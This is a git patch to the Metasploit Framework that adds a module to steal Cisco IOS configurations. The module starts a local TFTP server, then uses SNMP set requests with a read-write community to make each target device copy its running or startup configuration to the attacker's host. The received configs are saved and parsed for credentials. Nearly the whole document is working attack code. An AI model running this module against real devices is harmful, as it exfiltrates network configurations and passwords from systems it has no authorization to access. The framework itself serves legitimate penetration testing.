From 4e4eb148876d532529a14cc84986212660351f19 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sat, 11 Dec 2010 23:36:37 +0000 Subject: [PATCH] This adds a TFTP version of #3345 (Pello's snmp config downloader). Still more work to do for the generic module git-svn-id: file:///home/svn/framework3/trunk@11300 4d416f70-5f16-0410-b530-b9f4589650da --- lib/msf/core/auxiliary/cisco.rb | 5 + lib/msf/core/exploit/snmp.rb | 4 +- .../scanner/snmp/cisco_config_tftp.rb | 189 ++++++++++++++++++ 3 files changed, 196 insertions(+), 2 deletions(-) create mode 100644 modules/auxiliary/scanner/snmp/cisco_config_tftp.rb diff --git a/lib/msf/core/auxiliary/cisco.rb b/lib/msf/core/auxiliary/cisco.rb index 44711ba1a5..c157b51d63 100644 --- a/lib/msf/core/auxiliary/cisco.rb +++ b/lib/msf/core/auxiliary/cisco.rb @@ -47,6 +47,11 @@ module Auxiliary::Cisco :collect_type => "", :active => true } + + # Default SNMP to UDP + if tport == 161 + cred_info[:proto] = 'udp' + end store_loot("cisco.ios.config", "text/plain", thost, config.strip, "config.txt", "Cisco IOS Configuration") diff --git a/lib/msf/core/exploit/snmp.rb b/lib/msf/core/exploit/snmp.rb index a862ad677a..b6e1c3e883 100644 --- a/lib/msf/core/exploit/snmp.rb +++ b/lib/msf/core/exploit/snmp.rb @@ -43,8 +43,8 @@ module Exploit::Remote::SNMPClient version = :SNMPv2c if datastore['VERSION'] == '2c' snmp = ::SNMP::Manager.new( - :Host => rhost, - :Port => rport, + :Host => opts['PeerHost'] || rhost, + :Port => opts['PeerPort'] || rport, :Community => datastore['COMMUNITY'], :Version => version, :Timeout => datastore['TIMEOUT'], diff --git a/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb b/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb new file mode 100644 index 0000000000..0759152041 --- /dev/null +++ b/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb @@ -0,0 +1,189 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::SNMPClient + include Msf::Auxiliary::Cisco + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Cisco IOS SNMP Configuration Grabber (TFTP)', + 'Version' => '$Revision$', + 'Description' => %q{ + This module will download the startup or running configuration + from a Cisco IOS device using SNMP and TFTP. A read-write SNMP + community is required. The SNMP community scanner module can + assist in identifying a read-write community. The target must + be able to connect back to the Metasploit system and the use of + NAT will cause the TFTP transfer to fail. + }, + 'Author' => + [ + 'pello ', 'hdm' + ], + 'License' => MSF_LICENSE + ) + register_options([ + OptEnum.new("SOURCE", [true, "Grab the startup (3) or running (4) configuration", "4", ["3","4"]]), + OptString.new('OUTPUTDIR', [ false, "The directory where we should save the configuration files (disabled by default)"]), + OptAddress.new('LHOST', [ false, "The IP address of the system running this module" ]) + ], self.class) + end + + + # + # Hook for the TFTP Server to save incoming files via Proc + # + module TFTPCapture + attr_accessor :incoming_file_hook + def save_output(*args) + if incoming_file_hook + incoming_file_hook.call(*args) + else + super(*args) + end + end + + def fake_output_dir + @output_dir = "/" + Rex::Text.rand_text_alphanumeric(128) + end + end + + # + # Start the TFTP Server + # + def setup + # Setup is called only once + print_status("Starting TFTP server...") + @tftp = Rex::Proto::TFTP::Server.new(69, '0.0.0.0', { 'Msf' => framework, 'MsfExploit' => self }) + @tftp.extend(TFTPCapture) + @tftp.incoming_file_hook = Proc.new{|info| process_incoming(info) } + @tftp.fake_output_dir + @tftp.start + add_socket(@tftp.sock) + + @main_thread = ::Thread.current + + print_status("Scanning for vulnerable targets...") + end + + # + # Kill the TFTP server + # + def cleanup + # Cleanup is called once for every single thread + if ::Thread.current == @main_thread + # Wait 5 seconds for background transfers to complete + print_status("Providing some time for transfers to complete...") + ::IO.select(nil, nil, nil, 5.0) + + print_status("Shutting down the TFTP service...") + if @tftp + @tftp.close rescue nil + @tftp = nil + end + end + end + + # + # Callback for incoming files + # + def process_incoming(info) + return if not info[:file] + name = info[:file][:name] + data = info[:file][:data] + from = info[:from] + return if not (name and data) + + # Trim off IPv6 mapped IPv4 if necessary + from = from[0].dup + from.gsub!('::ffff:', '') + + print_status("Incoming file from #{from} - #{name} #{data.length} bytes") + + # Save the configuration file if a path is specified + if datastore['OUTPUTDIR'] + name = "#{from}.txt" + ::FileUtils.mkdir_p(datastore['OUTPUTDIR']) + path = ::File.join(datastore['OUTPUTDIR'], name) + ::File.open(path, "wb") do |fd| + fd.write(data) + end + print_status("Saved configuration file to #{path}") + end + + # Toss the configuration file to the parser + cisco_ios_config_eater(from, 161, data) + end + + def run_host(ip) + + begin + source = datastore['SOURCE'].to_i + protocol = 1 + filename = "#{ip}.txt" + lhost = datastore['LHOST'] || Rex::Socket.source_address(ip) + + ccconfigcopyprotocol = "1.3.6.1.4.1.9.9.96.1.1.1.1.2." + cccopysourcefiletype = "1.3.6.1.4.1.9.9.96.1.1.1.1.3." + cccopydestfiletype = "1.3.6.1.4.1.9.9.96.1.1.1.1.4." + cccopyserveraddress = "1.3.6.1.4.1.9.9.96.1.1.1.1.5." + cccopyfilename = "1.3.6.1.4.1.9.9.96.1.1.1.1.6." + cccopyentryrowstatus = "1.3.6.1.4.1.9.9.96.1.1.1.1.14." + cccopyentryrowstatus = "1.3.6.1.4.1.9.9.96.1.1.1.1.14." + + session = rand(255) + 1 + + snmp = connect_snmp + + + varbind = SNMP::VarBind.new("#{ccconfigcopyprotocol}#{session}" , SNMP::Integer.new(protocol)) + value = snmp.set(varbind) + + # If the above line didn't throw an error, the host is alive and the community is valid + print_status("Trying to acquire configuration from #{ip}...") + + varbind = SNMP::VarBind.new("#{cccopysourcefiletype}#{session}" , SNMP::Integer.new(source)) + value = snmp.set(varbind) + + varbind = SNMP::VarBind.new("#{cccopydestfiletype}#{session}", SNMP::Integer.new(1)) + value = snmp.set(varbind) + + varbind = SNMP::VarBind.new("#{cccopyserveraddress}#{session}", SNMP::IpAddress.new(lhost)) + value = snmp.set(varbind) + + varbind = SNMP::VarBind.new("#{cccopyfilename}#{session}", SNMP::OctetString.new(filename)) + value = snmp.set(varbind) + + varbind = SNMP::VarBind.new("#{cccopyentryrowstatus}#{session}", SNMP::Integer.new(1)) + value = snmp.set(varbind) + + varbind = SNMP::VarBind.new("#{cccopyentryrowstatus}#{session}", SNMP::Integer.new(6)) + value = snmp.set(varbind) + + disconnect_snmp + + # No need to make noise about timeouts + rescue ::SNMP::RequestTimeout + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}") + end + end + +end +